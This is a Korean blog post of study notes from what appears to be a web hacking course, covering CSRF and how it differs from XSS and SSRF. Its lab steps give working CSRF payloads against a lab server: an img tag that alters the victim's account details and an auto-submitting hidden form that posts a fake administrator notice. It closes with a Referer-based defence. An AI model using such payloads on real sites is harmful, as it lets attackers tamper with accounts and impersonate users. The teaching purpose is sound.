지난번 OWASP에서 비슷한 단어를 본 기억이 있어서 다시 찾아보니
2021 OWASP 10위에 Rank되어 있는 공격기법이 SSRF라고 되어있다.
- A10: Server-Side Request Forgery(SSRF, 서버 측 요청 변조)
구글링을 좀 해보니 CSRF는 공격의 대상이 클라이언트에게 변조된 요청으로 공격을 한다면,
SSRF는 서버 자체에 변조된 요청을 보내는 공격이라고 한다.
0. CSRF (CROSS SITE REQUEST FORGERY)
- pronounce C-Surf
- Victim에 의해 Request가 발생하기 때문에 공격자의 IP 추적이 어렵다
- XSS와 달리 자바스크립트를 사용할 수 없는 상황에서도 공격이 가능
* 공격 조건
- 공격자는 사이트에서 제공하는 해당 기능의 Request/Response를 분석해야 한다
- 사이트가 Session Token만으로 해당 기능의 권한을 인증하고 있을 때 가능
** XSS와 CSRF의 차이점
- XSS는 공격대상이 Client이고, CSRF는 Server이다.
- XSS는 사이트변조나 백도어를 통해 클라이언트에 대한 악성공격을 한다.
- CSRF는 요청을 위조하여 사용자의 권한을 이용해 서버에 대한 악성공격을 한다.
1. [실습] 피해자의 권한을 이용해 공격자가 피해자의 계정 정보를 수정한다.
Step1. 공격자 정보변경에 대한 페이지 구성 파악 (웹프록시 이용 - Paros)
# change information 탭
GET http://192.168.1.20/member/member_modify.asp
# 정보 바꾸고 변경하기
GET http://192.168.10.20/member/member_modify_ok.asp?
exec=modify&nickname=%B4%A9%B3%EB&email=lvuno@xcurelab.com
현재 정보변경이 GET 방식으로 서버에 요청하기 때문에 url로 이동하는 것만으로
회원 정보 변경에 대한 요청을 줄 수 있음
위의 정보를 이용해서 악성script 짜기 url을 전달하기 위해 img tag 사용
<img src="http://192.168.1.20/member/member_modify_ok.asp?
exec=modify&nickname=Blackhacker&email=Blackhacker@itbank.com">
Step2. 공격자는 Guest Board에 위의 구문으로 게시글 작성
Step3. 피해자는 게시글을 읽는 것만으로 회원 정보가 위의 공격자의 의도대로 수정되어버림
2. [실습] 피해자가 게시글을 읽는 것만으로 게시글을 등록하도록 악성 스크립트를 게시
Step 1. 게시글에 글을 등록하는 것은 어떻게 서버에 요청하게 되는지 파악
1) Guest Board에 들어가는 것
GET http://192.168.1.20/board/board_list.asp
2) 글쓰기창을 띄우는 것
GET http://192.168.1.20/board/board_write.asp?user_id=
3) 작성완료 된 글을 올리는 것 (작성완료 버튼을 누른다)
POST http://192.168.1.20/board/board_write_ok.asp
Content-Type:multipart/form-data; boundary=---------------------1433958736937548711881873898
Content-Disposition: form-data; name="name"
Content-Disposition: form-data; name="password"
Content-Disposition: form-data; name="email"
Content-Disposition: form-data; name="subject"
Content-Disposition: form-data; name="tag"
Content-Disposition: form-data; name="content"
POST로 요청하고 각각의 내용이 body에서 form-data로 파라미터를 전달하는 것을 알 수 있다.
Step 2. 악성 Script 게시하기
Post방식에서 body에 전달하기 위해 form Tag 사용
<form name='board' method='post' action='http://192.168.1.20/board/board_write_ok.asp'>
<input type='hidden' name='name' value='관리자'>
<input type='hidden' name='password' value='1234'>
<input type='hidden' name='email' value='admin@kgitbank.com'>
<input type='hidden' name='subject' value='공지사항'>
<input type='hidden' name='tag' value='T'>
<input type='hidden' name='content' value='해당 사이트의 기술적인 문제로...'>
</form>
<script>document.board.submit();</script> : form tag를 바로 전달 하도록
(집에서 실습 진행이 잘 안되서 해당 내용 강의실에서 해보고 수정 필요)
3. CSRF 대응책
- 정상적인 루트와 비정상적인 글쓰기의 request차이를 파악한다
- Referer 현재 page를 발생시킨 URL
정상글 (Request Packet)
POST http://192.168.1.20/board/board_write_ok.asp HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://192.168.1.20/board/board_write.asp?user_id=
CSRF로 등록된 글 (Request Packet)
POST http://192.168.1.20/board/board_write_ok.asp HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://192.168.1.20/board/board_view.asp?num=169
똑같이 POST로 /board/board_write_ok.asp에 request를 주고 있는데 Referer가 서로 다르다.
정상글은 board_write.asp로 부터 요청하지만 CSRF로 생성된 글은 board_view.asp로 부터 요청하고 있음을 알 수 있다.
'Web Hacking' 카테고리의 다른 글
12. SQL 작업환경 구축 및 기초 구문 (0) | 2022.07.09 |
---|---|
11. malware (webshell, backdoor) (0) | 2022.07.03 |
9. XSS (Cross Site Scripting) (1) | 2022.06.27 |
8. bruteforce attack / password cracking (0) | 2022.06.24 |
7. 웹 취약점 리스트 OWASP 2021 (0) | 2022.06.22 |
댓글